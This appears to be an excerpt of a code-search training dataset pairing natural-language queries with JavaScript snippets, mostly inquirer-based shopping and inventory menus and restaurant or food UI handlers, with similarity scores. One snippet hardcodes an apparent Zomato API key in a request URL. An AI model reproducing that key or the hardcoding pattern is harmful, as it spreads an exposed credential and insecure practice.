{\\n\\t\\t\\t\\tcase \\\"Add More Items\\\":\\n\\t\\t\\t\\t\\t// go to the start function\\n\\t\\t\\t\\t\\tstart();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Remove Items\\\":\\n\\t\\t\\t\\t\\t// go to the removal function\\n\\t\\t\\t\\t\\tremoveItem();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Checkout\\\":\\n\\t\\t\\t\\t\\t// go to the checkout tree;\\n\\t\\t\\t\\t\\tverifyCheckout();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Alter Item Order Amount\\\":\\n\\t\\t\\t\\t\\t// go to the function that alters the shopping cart qty\\n\\t\\t\\t\\t\\talterItem();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Survey Cart\\\":\\n\\t\\t\\t\\t\\t// look at the cart\\n\\t\\t\\t\\t\\tcheckoutFunction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault: console.log(\\\"how did you get here?\\\")\\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"function continueShopping() {\\n inquire.prompt([{\\n message: \\\"Checkout or Continue Shopping?\\\",\\n type: \\\"list\\\",\\n name: \\\"continue\\\",\\n choices: [\\\"Continue\\\", \\\"Go to checkout\\\"]\\n }]).then(function (ans) {\\n if (ans.continue === \\\"Continue\\\") {\\n console.log(\\\" Items Added to Cart!\\\");\\n shoppingCart();\\n } else if (ans.continue === \\\"Go to checkout\\\") {\\n checkOut(itemCart, cartQuant);\\n }\\n });\\n}\",\n \"function regretsPrompt (res) {\\n\\tinquirer\\n \\t\\t.prompt([\\n \\t\\t\\t{\\n\\t\\t\\t\\ttype: \\\"list\\\",\\n\\t\\t\\t\\tmessage: \\\"What would you like to do?\\\",\\n\\t\\t\\t\\tchoices: [\\\"Change Quantity\\\", \\\"Start Over\\\"],\\n\\t\\t\\t\\tname: \\\"selection\\\"\\n\\t\\t }\\n\\t\\t])\\n\\t\\t.then(function(inqRes) {\\n\\t\\t\\tif (inqRes.selection == \\\"Change Quantity\\\"){\\n\\t\\t\\t\\tquantityPrompt(res);\\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\tdisplayAllProducts();\\t\\n\\t\\t\\t}\\n\\n\\n\\t\\t});//ends then\\n}\",\n \"function noInventoryOptions() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"Do you want to choose a new item or quit?\\\",\\n choices: [\\\"NEW-ITEM\\\", \\\"QUIT\\\"],\\n name: \\\"startAgain\\\"\\n }\\n ])\\n .then(function(answer6) {\\n if (answer6.startAgain == \\\"NEW-ITEM\\\") {\\n displayProducts(); \\n }\\n if (answer6.startAgain == \\\"QUIT\\\") {\\n console.log(\\\"Thank you. Good-bye!\\\");\\n connection.end();\\n }\\n });\\n}\",\n \"function contShopping() {\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Do you want to continue shopping?\\\",\\n name: \\\"id\\\",\\n\\n }\\n\\n ])\\n .then(function (cont) {\\n\\n if (cont.id === true) {\\n readProducts();\\n }\\n else {\\n console.log(\\\"Have a good day!\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"function submitClicked () { \\n let foodInput = $('#food').val();\\n if(foodInput == \\\"\\\"){\\n $('.noFoodItem').text(\\\"please enter a food item in the search bar\\\").css('color','red');\\n return; \\n }\\n $('.noFoodItem').text('');\\n food = $(\\\"#food\\\").val()\\n initAutocomplete();\\n changePage();\\n}\",\n \"function menuoption(){\\n inquirer.prompt({\\n type: \\\"list\\\",\\n name : \\\"menu\\\",\\n message : \\\"What do you want to see ?\\\",\\n choices : [\\\"\\\\n\\\",\\\"View Products for Sale\\\",\\\"View Low Inventory\\\",\\\"Add to Inventory\\\",\\\"Add New Product\\\"]\\n\\n }).then(function(answer){\\n // var update;\\n // var addnew;\\n console.log(answer.menu);\\n //if else option to compare user input and call the required function\\n if(answer.menu == \\\"View Products for Sale\\\" ){\\n showitem();\\n }else if(answer.menu == \\\"View Low Inventory\\\"){\\n \\n lowinventory();\\n }else if(answer.menu == \\\"Add to Inventory\\\"){\\n updateinventory();\\n // updateonecolumn(itemidinput);\\n }else if(answer.menu == \\\"Add New Product\\\"){\\n addnewproduct();\\n }\\n \\n });\\n }\",\n \"function shop() {\\n\\n inquirer.prompt([{\\n name: \\\"menu\\\",\\n type: \\\"list\\\",\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Update Inventory\\\", \\\"Add New Product\\\"]\\n }]).then(function (answer) {\\n\\n switch (answer.menu) {\\n case \\\"View Products for Sale\\\":\\n forSale();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowStock();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addThing();\\n break;\\n\\n case \\\"Update Inventory\\\":\\n moreStuff();\\n break;\\n }\\n });\\n}\",\n \"function ADMIN() {\\n //SORT FLIGHTS BY ID, SET ALL DISPLAYS TO TRUE\\n flights.sort((a, b) => a.id - b.id);\\n for (let i = 0; i < flights.length; i++) {\\n flights[i].display = true;\\n }\\n let ediDel;\\n do {\\n ediDel = prompt(\\n \\\"Te encuentras en la funci\\\\u00F3n de ADMINISTRADOR. Indica la funci\\\\u00F3n a la que quieres acceder: EDIT, DELETE.\\\",\\n \\\"EDIT,DELETE\\\"\\n );\\n salida(ediDel, ADMIN);\\n ediDel = ediDel.toUpperCase();\\n } while (ediDel !== \\\"EDIT\\\" && ediDel !== \\\"DELETE\\\");\\n\\n //JUMP TO NEXT FUNCITON\\n if (ediDel === \\\"EDIT\\\") {\\n EDIT();\\n } else if (ediDel === \\\"DELETE\\\") {\\n DELETE();\\n } else {\\n alert(\\\"No te he entendido\\\");\\n ADMIN();\\n }\\n}\",\n \"function buyMore() {\\n\\n inquirer.prompt([\\n {\\n name: \\\"continue\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Do you want to buy another product?\\\"\\n }\\n ]).then(function (answers) {\\n if (answers.continue) {\\n defId = null;\\n defQty = 1;\\n dispAll();\\n } else {\\n connection.end();\\n }\\n });\\n\\n}\",\n \"function start() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"Purchase Items\\\", \\n \\\"Exit\\\"],\\n }\\n ]).then(function(answer) {\\n\\n // Based on the selection, the user experience will be routed in one of these directions\\n switch (answer.choice) {\\n case \\\"Purchase Items\\\":\\n displayItems();\\n break;\\n case \\\"Exit\\\":\\n exit();\\n break;\\n }\\n });\\n} // End start function\",\n \"function askAgain() {\\n inquirer.prompt({\\n name: \\\"choice\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What you like to place another order?\\\",\\n choices: [\\\"YES\\\", \\\"NO\\\"]\\n })\\n .then(function (answer) {\\n if (answer.choice.toUpperCase() === \\\"YES\\\") {\\n ask();\\n } else {\\n console.log(\\\"Thank you for shopping at Bamazon.\\\");\\n connection.end();\\n }\\n })\\n\\n}\",\n \"onSelectRestaurant(restaurant){\\n this.closeAllRestaurant()\\n restaurant.viewDetailsComments()\\n restaurant.viewImg()\\n\\n }\",\n \"function fightOrRun() {\\n var choices = [\\\"Run\\\", \\\"Fight\\\"];\\n var askPlayer = parseInt(readline.keyInSelect(choices, \\\"Do you want to fight like a shark or run like a shrimp???\\\\nThe next monster might be scarier.\\\\n \\\\n What are you going to do? Press 1 to run...Press 2 to fight.\\\"));\\n if (choices === 1) {\\n //call the function for deciding to run \\n run();\\n } else {\\n //call the function for deciding to fight\\n console.log('You decided to fight, bring it on!!.');\\n fight();\\n }\\n }\",\n \"function OrderAgain(){ \\r\\n\\tinquirer.prompt([{ \\r\\n\\t\\ttype: 'confirm', \\r\\n\\t\\tname: 'choice', \\r\\n\\t\\tmessage: 'Would you like to place another order?' \\r\\n\\t}]).then(function(answer){ \\r\\n\\t\\tif(answer.choice){ \\r\\n\\t\\t\\tplaceOrder(); \\r\\n\\t\\t} \\r\\n\\t\\telse{ \\r\\n\\t\\t\\tconsole.log('Thank you for shopping at the Bamazon Mercantile!'); \\r\\n\\t\\t\\tconnection.end(); \\r\\n\\t\\t} \\r\\n\\t}) \\r\\n}\",\n \"function eat(food)\\n\\t\\t{\\n\\t\\t\\t// Add the food's HTML element to a queue of uneaten food elements.\\n\\t\\t\\tuneatenFood.push(food.element);\\n\\n\\t\\t\\t// Tell the fish to swim to the position of the specified food object, appending this swim instruction\\n\\t\\t\\t// to all other swim paths currently queued, and then when the swimming is done call back a function that\\n\\t\\t\\t// removes the food element.\\n\\t\\t\\tFish.swimTo(\\n\\t\\t\\t\\tfood.position,\\n\\t\\t\\t\\tFish.PathType.AppendPath,\\n\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tlet eatenFood = uneatenFood.shift();\\n\\t\\t\\t\\t\\teatenFood.parentNode.removeChild(eatenFood);\\n\\t\\t\\t\\t\\tgrow();\\n\\t\\t\\t\\t});\\n\\t\\t} // end eat()\",\n \"function restaurantCheck (post) {\\n\\n\\t\\tvar zomatoKey = \\\"8eb908d1e6003b1c7643c94c50ecd283\\\";\\n\\n\\t\\t// J\\n\\t\\t// Q\\n\\t\\t// U\\n\\t\\t// E\\n\\t\\t// R\\n\\t\\t// Y\\n\\t\\t$.ajax ({\\n\\t\\t\\tmethod: \\\"GET\\\",\\n\\t\\t\\turl: \\\"https://developers.zomato.com/api/v2.1/search?apikey=\\\"+zomatoKey+\\\"&count=500&lat=42.4074843&lon=-71.11902320000002&radius=5000\\\",\\n\\t\\t}).done(function (data) {\\n\\t\\t\\tdata.restaurants.forEach(function(element,index) {\\n\\t\\t\\t\\tif (post.includes(element.restaurant.name)) {\\n\\t\\t\\t\\t\\tfood_list.push(element.restaurant.name);\\n\\t\\t\\t\\t}\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"function mainOptions() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View\\\",\\n \\\"Add\\\",\\n \\\"Delete\\\",\\n \\\"Update\\\"\\n ]\\n })\\n .then(function (answer) {\\n switch (answer.action) {\\n\\n case \\\"View\\\":\\n viewChoice();\\n break;\\n\\n case \\\"Add\\\":\\n addChoice();\\n break;\\n\\n case \\\"Delete\\\":\\n deleteChoice()\\n break;\\n\\n case \\\"Update\\\":\\n updateChoice()\\n break;\\n\\n\\n }\\n });\\n\\n}\",\n \"function anythingElse() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Anything Else?\\\",\\n name: \\\"choice\\\"\\n }\\n ])\\n .then(res => {\\n if (res.choice) {\\n displayProducts();\\n } else {\\n console.log(\\\"Thank You!\\\");\\n console.log(`Total: $${total}`);\\n connection.end();\\n }\\n });\\n}\",\n \"function chooseAction() {\\n\\tinquirer\\n\\t\\t.prompt({\\n\\t\\t\\tname: \\\"action\\\", \\n\\t\\t\\ttype: \\\"rawlist\\\", \\n\\t\\t\\tmessage: \\\"What do you want to do?\\\", \\n\\t\\t\\tchoices: [\\\"VIEW PRODUCTS\\\", \\\"VIEW LOW INVENTORY\\\", \\\"ADD TO INVENTORY\\\", \\\"ADD NEW PRODUCT\\\", \\\"QUIT\\\"]\\n\\t\\t})\\n\\t\\t.then(function(ans) {\\n\\t\\t\\tif(ans.action.toUpperCase() ===\\\"VIEW PRODUCTS\\\") {\\n\\t\\t\\t\\tviewProducts(); \\n\\t\\t\\t} \\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"VIEW LOW INVENTORY\\\") {\\n\\t\\t\\t\\tviewLowInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD TO INVENTORY\\\") {\\n\\t\\t\\t\\taddInventory(); \\n\\t\\t\\t}\\n\\t\\t\\telse if (ans.action.toUpperCase() === \\\"ADD NEW PRODUCT\\\") {\\n\\t\\t\\t\\taddNewProduct(); \\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\tendConnection(); \\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"async promptForMenu(step) {\\n return step.prompt(MENU_PROMPT, {\\n choices: [\\\"Donate Food\\\", \\\"Find a Food Bank\\\", \\\"Contact Food Bank\\\"],\\n prompt: \\\"Do you have food to donate, do you need food, or are you contacting a food bank?\\\",\\n retryPrompt: \\\"I'm sorry, that wasn't a valid response. Please select one of the options\\\"\\n });\\n }\",\n \"function checkFood(food){\\n\\tvar food = [\\\"chicken\\\", \\\"beef\\\", \\\"fish\\\", \\\"lamb\\\", \\\"veal\\\"];\\n\\n\\t//The first term starts with 0\\n\\n\\tif(food == food[0] || food == food[1] || food == food[2] || food == food[3] || food == food [4]){\\n\\t\\talert(\\\"You are considered as meat\\\");\\n\\t}else{\\n\\t\\talert(\\\"You may or may not be considered as meat\\\");\\n\\t//if chicken, beef, fish, lamb or veal is entered, then a popup will appaer with \\\"You are considered as meat\\\"\\n\\t//if something else is entered, then a popup will appear saying \\\"you may or may not be considered as meat\\\"\\t\\n\\t}\\n}\",\n \"function startPrompt() {\\n inquirer\\n .prompt([\\n {\\n name: \\\"startOrStop\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like to make a purchase?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\", \\\"Show me the choices again\\\"]\\n }\\n ])\\n .then(function (answer) {\\n if (answer.startOrStop === \\\"No\\\") {\\n console.log(\\\"Goodbye!\\\");\\n connection.end();\\n } else if (answer.startOrStop === \\\"Show me the choices again\\\") {\\n start();\\n } else {\\n buyPrompt();\\n }\\n\\n });\\n}\",\n \"function foodClickHandler(foodsitem) {\\n setFood(foodsitem);\\n }\",\n \"function keepShopping() {\\n inquirer.prompt([{\\n type: \\\"confirm\\\",\\n name: \\\"shopping\\\",\\n message: \\\"Would you like to keep shopping?\\\",\\n }]).then(function (answer) {\\n if (answer) {\\n chooseShop();\\n } else {\\n // End the database connection\\n connection.end();\\n }\\n })\\n}\",\n \"async captureFood(step) {\\n const user = await this.userProfile.get(step.context, {});\\n\\n // Perform a call to LUIS to retrieve results for the user's message.\\n const results = await this.luisRecognizer.recognize(step.context);\\n\\n // Since the LuisRecognizer was configured to include the raw results, get the `topScoringIntent` as specified by LUIS.\\n const topIntent = results.luisResult.topScoringIntent;\\n const topEntity = results.luisResult.entities[0];\\n\\n if (step.result !== -1) {\\n\\n if (topIntent.intent == 'ChooseTypeOfFood') {\\n user.food = topEntity.entity;\\n await this.userProfile.set(step.context, user);\\n\\n //await step.context.sendActivity(`Entity: ${topEntity.entity}`);\\n await step.context.sendActivity(`I'm going to find the restaurant to eat : ${topEntity.entity}`);\\n //return await step.next();\\n }\\n else {\\n await this.userProfile.set(step.context, user);\\n await step.context.sendActivity(`Sorry, I do not understand or say cancel.`);\\n return await step.replaceDialog(WHICH_FOOD);\\n }\\n\\n // await step.context.sendActivity(`I will remember that you want this kind of food : ${ step.result } `);\\n } else {// si l'user ne sait pas quelle genre de food il veut\\n\\n const { ActionTypes, ActivityTypes, CardFactory } = require('botbuilder');\\n\\n const reply = { type: ActivityTypes.Message };\\n\\n // // build buttons to display.\\n const buttons = [\\n { type: ActionTypes.ImBack, title: '1. European 🍝 🍲', value: '1' },\\n { type: ActionTypes.ImBack, title: '2. Chinese 🍜 🍚', value: '2' },\\n { type: ActionTypes.ImBack, title: '3. American 🍔 🍟', value: '3' }\\n ];\\n\\n // // construct hero card.\\n const card = CardFactory.heroCard('', undefined,\\n buttons, { text: 'What type of restaurant do you want ?' });\\n\\n // // add card to Activity.\\n reply.attachments = [card];\\n\\n // // Send hero card to the user.\\n await step.context.sendActivity(reply);\\n\\n }\\n //return await step.beginDialog(WHICH_PRICE);\\n //return await step.endDialog();\\n}\",\n \"function displayRestaurant() {\\n restaurantDrop.on(\\\"click\\\", function (event) {\\n if ($(event.target).attr(\\\"class\\\") === \\\"yes\\\") {\\n console.log(\\\"hi\\\");\\n $(\\\".body-container\\\").prepend($(\\\".location\\\").show());\\n restaurantOption.hide();\\n }\\n if ($(event.target).attr(\\\"class\\\") === \\\"no\\\") {\\n $(\\\".final-date\\\").removeClass(\\\"hide\\\");\\n restaurantOption.hide();\\n viewDate.append($(\\\".movie-display\\\"));\\n $(\\\".movie-display\\\").show();\\n restaurantStorage.push(\\\"\\\")\\n localStorage.setItem(\\\"Restaurants\\\", JSON.stringify(restaurantStorage))\\n }\\n });\\n}\",\n \"function start() {\\n inquirer\\n .prompt({\\n name: \\\"selectOptions\\\",\\n type: \\\"list\\\",\\n message: \\\"Choose from the list of available options...\\\",\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Add to Inventory\\\", \\\"Add New Product\\\", \\\"View most expensive Inventory\\\"]\\n })\\n .then(function (answer) {\\n\\n // get the user choice and route to appropriate function.\\n switch (answer.selectOptions) {\\n case \\\"View Products for Sale\\\":\\n listAllProducts();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n listLowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addToInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addNewItemToInventory();\\n break;\\n\\n case \\\"View most expensive Inventory\\\":\\n listExpensiveItems();\\n break;\\n }\\n\\n //\\n\\n });\\n}\",\n \"function nextPrompt(){\\n inquirer.prompt([\\n {\\n name: \\\"status\\\",\\n type: \\\"list\\\",\\n message: \\\"Buy more?\\\",\\n choices: [\\\"Buy more\\\", \\\"Exit\\\"]\\n }\\n ]).then(answer => {\\n if(answer.status === \\\"Buy more\\\"){\\n displayInventory();\\n promptBuy();\\n } else{\\n console.log(\\\"Thank you. Goodbye.\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"function foodRunnerSelector() {\\n \\n if (document.getElementById(\\\"foodRunnerYes\\\").checked == true) {\\n\\tdoTipFoodRunner = true;\\n\\tdocument.getElementById(\\\"foodRunnerConfirm\\\").innerHTML = \\\"Food Runner will be tipped out\\\";}\\n else { \\n\\tdoTipFoodRunner = false;\\n\\tdocument.getElementById(\\\"foodRunnerConfirm\\\").innerHTML = \\\"No tip out for Food Runner\\\"; \\n }\\n return doTipFoodRunner\\n}\",\n \"function setFoodType(type) {\\n // This allows us to display items related to the choice on the map but also to style the buttons so the user knows that they have selected something\\n if(type === 'kebab') {\\n $scope.hammered = 'chosen-emotion';\\n $scope.hungover = '';\\n $scope.hangry = '';\\n $scope.hardworking = '';\\n } else if(type === 'cafe') {\\n $scope.hammered = '';\\n $scope.hungover = 'chosen-emotion';\\n $scope.hangry = '';\\n $scope.hardworking = '';\\n } else if(type === 'fastfood') {\\n $scope.hammered = '';\\n $scope.hungover = '';\\n $scope.hangry = 'chosen-emotion';\\n $scope.hardworking = '';\\n } else {\\n $scope.hammered = '';\\n $scope.hungover = '';\\n $scope.hangry = '';\\n $scope.hardworking = 'chosen-emotion';\\n }\\n vm.foodType = type;\\n }\",\n \"function askToContinue() {\\n\\t\\tinquirer\\n\\t\\t\\t.prompt([\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\ttype: 'confirm',\\n\\t\\t\\t\\t\\tmessage: 'Do you want to play again?',\\n\\t\\t\\t\\t\\tname: 'confirm',\\n\\t\\t\\t\\t\\tdefault: true\\n\\t\\t\\t\\t}\\n\\t\\t\\t])\\n\\t\\t\\t.then(function(response) {\\n\\t\\t\\t\\tif (response.confirm === true) {\\n\\t\\t\\t\\t\\tstartGame();\\n\\t\\t\\t\\t} \\n\\t\\t\\t});\\n\\t}\",\n \"function goPrompt() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"What action would you like to do?\\\",\\n name: \\\"choice\\\",\\n choices: [\\n \\\"Check Departments\\\",\\n \\\"Check Roles\\\",\\n \\\"Check Employees\\\",\\n \\\"Plus Employee\\\",\\n \\\"Plus Role\\\",\\n \\\"Plus Department\\\"\\n ]\\n }\\n // switch replaces else if...selects parameter and javascript will look for the correct function\\n ]).then(function (data) {\\n switch (data.choice) {\\n case \\\"Check Departments\\\":\\n viewDepartments()\\n break;\\n case \\\"Check Roles\\\":\\n viewRoles()\\n break;\\n case \\\"Check Employees\\\":\\n viewEmployees()\\n break;\\n case \\\"Plus Employee\\\":\\n plusEmployees()\\n break;\\n case \\\"Plus Department\\\":\\n plusDepartment()\\n break;\\n case \\\"Plus Role\\\":\\n plusRole()\\n break;\\n }\\n })\\n}\",\n \"function userSearch() {\\n\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"What would you like to do:\\\",\\n choices: [\\\"View product sales by Department\\\", \\\"Create new department\\\", \\\"Exit Supervisor Mode\\\"]\\n }\\n\\n ]).then(function (manager) {\\n\\n switch (manager.choice) {\\n case \\\"View product sales by Department\\\":\\n viewDepartments();\\n break;\\n \\n case \\\"Create new department\\\":\\n addNewDepartment();\\n break;\\n\\n case \\\"Exit Supervisor Mode\\\":\\n console.log(\\\"\\\\nSee ya later!\\\\n\\\");\\n connection.end ();\\n break;\\n }\\n\\n });\\n\\n}\",\n \"function orderAgain() {\\n console.log(\\\"------\\\");\\n inquirer.prompt({\\n name: \\\"confirm\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like start over and view what's in stock again?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n })\\n .then(function(answer) {\\n if (answer.confirm === \\\"Yes\\\") {\\n displayStock();\\n }\\n\\n else {\\n console.log(\\\"------\\\")\\n console.log(\\\"Thanks for shopping on Bamazon!\\\")\\n connection.end();\\n }\\n })\\n }\",\n \"function randomFood() {\\n\\n\\t\\tif (Math.random() > 0.5) {\\n\\t\\t\\treturn 'pizza';\\n\\t\\t} \\n\\t\\treturn 'ice cream';\\n\\t}\",\n \"function frostingChoice(item) {\\n frostingChosen = true;\\n if (typeof preFrostingChoice !== 'undefined'){\\n preFrostingChoice.style.backgroundColor = \\\"white\\\";\\n }\\n\\n item.style.backgroundColor = \\\"lightgray\\\";\\n preFrostingChoice = item;\\n\\n checkPrice();\\n}\",\n \"function pizzaFlavor() {\\n // Logs menu to console after each action\\n console.log(\\\"\\\");\\n console.log(\\\"Please choose your actions:\\\");\\n console.log(\\\"\\\");\\n console.log(\\\"1 - List all the pizza flavors\\\");\\n console.log(\\\"2 - Add a new pizza flavor\\\");\\n console.log(\\\"3 - Remove a pizza flavor\\\");\\n console.log(\\\"4 - Exit this program\\\");\\n console.log(\\\"\\\");\\n\\n // Variable that stores menu option\\n let x = Number(readlineSync.question(\\\"Enter your action's number: \\\"));\\n\\n // Logs list of pizza flavors to console when menu option 1 is chosen and returns to menu\\n if (x === 1) {\\n console.log(flavs);\\n pizzaFlavor();\\n }\\n\\n // Enters do while loop to keep asking for new pizza flavor input\\n if (x === 2) {\\n // Do while loop breaks when \\\"X\\\" is entered and returns to menu\\n do {\\n flavs.push(readlineSync.question(\\\"Please enter pizza flavor. \\\"));\\n console.log(\\\"Enter X to return or press enter to add another pizza flavor.\\\");\\n } while (readlineSync.question() != \\\"X\\\")\\n pizzaFlavor();\\n }\\n\\n // Will remove array item when menu option 3 is chosen\\n if (x === 3) {\\n // Variable that stores array item to be removed\\n let rm = readlineSync.question(\\\"Please enter pizza flavor number to remove. \\\");\\n\\n // If statement to check is input matches an item in array\\n if (flavs.includes(rm)) {\\n // If item exists the given item will be removed from the array and returns to menu\\n flavs.splice(flavs.indexOf(rm), 1);\\n pizzaFlavor();\\n } else {\\n // If item does not exist a message will be logged to console and returns to menu\\n console.log(`Pizza flavors does not include ${rm}.`);\\n pizzaFlavor();\\n }\\n\\n }\\n\\n // If menu option 4 is chosen a message will be returned before exiting\\n if (x === 4) {\\n return console.log(\\\"Goodbye\\\");\\n }\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7001863","0.657572","0.6354631","0.61981887","0.61617345","0.6039793","0.59346044","0.58597845","0.5759057","0.57568675","0.5734756","0.5711459","0.56503254","0.56424713","0.5628671","0.5624591","0.56080526","0.5606945","0.55971736","0.5590472","0.55805224","0.5552525","0.5549805","0.55494136","0.5545532","0.5539159","0.5535191","0.55203235","0.5514501","0.55144423","0.55031675","0.5489432","0.5484783","0.548163","0.5478807","0.54445267","0.5437527","0.54280317","0.5413058","0.54049426","0.5403171","0.53885347","0.53851014","0.5381898","0.53776217","0.53772664","0.5375205","0.5373364","0.5351634","0.53499365","0.5347719","0.53471416","0.5346711","0.5342911","0.5339975","0.53349847","0.5328616","0.5328096","0.5323827","0.5318714","0.5316711","0.53145766","0.5310767","0.5308874","0.5305553","0.52950686","0.52929175","0.5284329","0.5282659","0.52809423","0.5276205","0.5268632","0.52637357","0.5261021","0.5259221","0.525922","0.5252799","0.5247729","0.5239674","0.52379245","0.52361894","0.5234169","0.523282","0.52306706","0.5225386","0.5223008","0.5222767","0.52201265","0.5219727","0.52192503","0.521583","0.52148867","0.5214068","0.52120614","0.5211861","0.520734","0.52044666","0.52024543","0.5200851","0.5200763"],"string":"[\n \"0.7001863\",\n \"0.657572\",\n \"0.6354631\",\n \"0.61981887\",\n \"0.61617345\",\n \"0.6039793\",\n \"0.59346044\",\n \"0.58597845\",\n \"0.5759057\",\n \"0.57568675\",\n \"0.5734756\",\n \"0.5711459\",\n \"0.56503254\",\n \"0.56424713\",\n \"0.5628671\",\n \"0.5624591\",\n \"0.56080526\",\n \"0.5606945\",\n \"0.55971736\",\n \"0.5590472\",\n \"0.55805224\",\n \"0.5552525\",\n \"0.5549805\",\n \"0.55494136\",\n \"0.5545532\",\n \"0.5539159\",\n \"0.5535191\",\n \"0.55203235\",\n \"0.5514501\",\n \"0.55144423\",\n \"0.55031675\",\n \"0.5489432\",\n \"0.5484783\",\n \"0.548163\",\n \"0.5478807\",\n \"0.54445267\",\n \"0.5437527\",\n \"0.54280317\",\n \"0.5413058\",\n \"0.54049426\",\n \"0.5403171\",\n \"0.53885347\",\n \"0.53851014\",\n \"0.5381898\",\n \"0.53776217\",\n \"0.53772664\",\n \"0.5375205\",\n \"0.5373364\",\n \"0.5351634\",\n \"0.53499365\",\n \"0.5347719\",\n \"0.53471416\",\n \"0.5346711\",\n \"0.5342911\",\n \"0.5339975\",\n \"0.53349847\",\n \"0.5328616\",\n \"0.5328096\",\n \"0.5323827\",\n \"0.5318714\",\n \"0.5316711\",\n \"0.53145766\",\n \"0.5310767\",\n \"0.5308874\",\n \"0.5305553\",\n \"0.52950686\",\n \"0.52929175\",\n \"0.5284329\",\n \"0.5282659\",\n \"0.52809423\",\n \"0.5276205\",\n \"0.5268632\",\n \"0.52637357\",\n \"0.5261021\",\n \"0.5259221\",\n \"0.525922\",\n \"0.5252799\",\n \"0.5247729\",\n \"0.5239674\",\n \"0.52379245\",\n \"0.52361894\",\n \"0.5234169\",\n \"0.523282\",\n \"0.52306706\",\n \"0.5225386\",\n \"0.5223008\",\n \"0.5222767\",\n \"0.52201265\",\n \"0.5219727\",\n \"0.52192503\",\n \"0.521583\",\n \"0.52148867\",\n \"0.5214068\",\n \"0.52120614\",\n \"0.5211861\",\n \"0.520734\",\n \"0.52044666\",\n \"0.52024543\",\n \"0.5200851\",\n \"0.5200763\"\n]"},"document_score":{"kind":"string","value":"0.56144774"},"document_rank":{"kind":"string","value":"16"}}},{"rowIdx":63,"cells":{"query":{"kind":"string","value":"Fancy restaurant scene start."},"document":{"kind":"string","value":"function fancyRestauratMenu() {\n subTitle.innerText = fancyRestaurantWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fancyDiv.classList.remove(\"hidden\");\n\n handleFancyRestaurantChoice();\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function start() {\n // To present a scene, use the following line, replacing 'sample' with\n // the id of any scene you want to present.\n\n SceneManager.getSharedInstance().presentScene('newScene1');\n}","function startup() {\n\tsceneTransition(\"start\");\n}","function start() {\n for(var i = 0; i < sceneList.length; i++) {\n addScene(sceneList[i]); // sceneList.js is imported in html-file\n }\n setScene(\"start\");\n }","static start() {\n this.buttonCreate();\n this.buttonHideModal();\n\n // Animal.createAnimal('Zebras', 36, 'black-white', false);\n // Animal.createAnimal('Zirafa', 30, 'brown-white', true);\n // Animal.createAnimal('Liutas', 35, 'brown', false);\n // Animal.createAnimal('Dramblys', 20, 'grey', false);\n\n this.load();\n }","function main () {\n // Initialise application\n\n // Get director singleton\n var director = Director.sharedDirector\n\n // Wait for the director to finish preloading our assets\n events.addListener(director, 'ready', function (director) {\n // Create a scene and layer\n var scene = new Scene()\n , layer = new Plague()\n\n // Add our layer to the scene\n scene.addChild(layer)\n\n // Run the scene\n director.replaceScene(scene)\n })\n\n // Preload our assets\n director.runPreloadScene()\n}","function sceneStart(){\n\t\t\t\tfor (n = 0; n < heroes.length; n++)\n\t\t\t\t\theroes[n].tl.delay(20).fadeIn(35);\n\t\t\t\tmonster.tl.delay(20).fadeIn(35).delay(10).then(function(){\n\t\t\t\tgame.sceneStarted = true;\n\t\t\t\tthreatBar.opacity = 1;\n\t\t\t\tthreatGuage.opacity = 1;\n\t\t\t\tmonsterBox.opacity = 1;\n\t\t\t\tmonsterName.opacity = 1;\n\t\t\t\tpartyBox.opacity = 1;\n\t\t\t\tmuteButton.opacity = 1;\n\t\t\t\tfor (n = 0; n < nameLabels.length; n++){\n\t\t\t\t\tnameLabels[n].opacity = 1;\n\t\t\t\t\thpLabels[n].opacity = 